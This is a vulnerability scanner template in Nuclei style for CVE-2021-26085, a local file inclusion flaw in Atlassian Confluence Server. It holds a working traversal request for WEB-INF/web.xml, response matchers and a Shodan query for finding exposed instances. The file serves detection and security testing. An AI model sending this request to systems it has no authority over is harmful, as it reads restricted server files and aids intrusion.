id: CVE-2021-26085

info:
  name: Atlassian Confluence Server - Local File Inclusion
  author: princechaddha
  severity: medium
  description: Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.
  reference:
    - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://jira.atlassian.com/browse/CONFSERVER-67893
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26085
    - http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26085
    cwe-id: CWE-862
    epss-score: 0.9671
  metadata:
    max-request: 1
    shodan-query: http.component:"Atlassian Confluence"
  tags: kev,packetstorm,cve,cve2021,confluence,atlassian,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<display-name>Confluence</display-name>"
          - "com.atlassian.confluence.setup.ConfluenceAppConfig"
        condition: and

# Enhanced by mp on 2022/07/22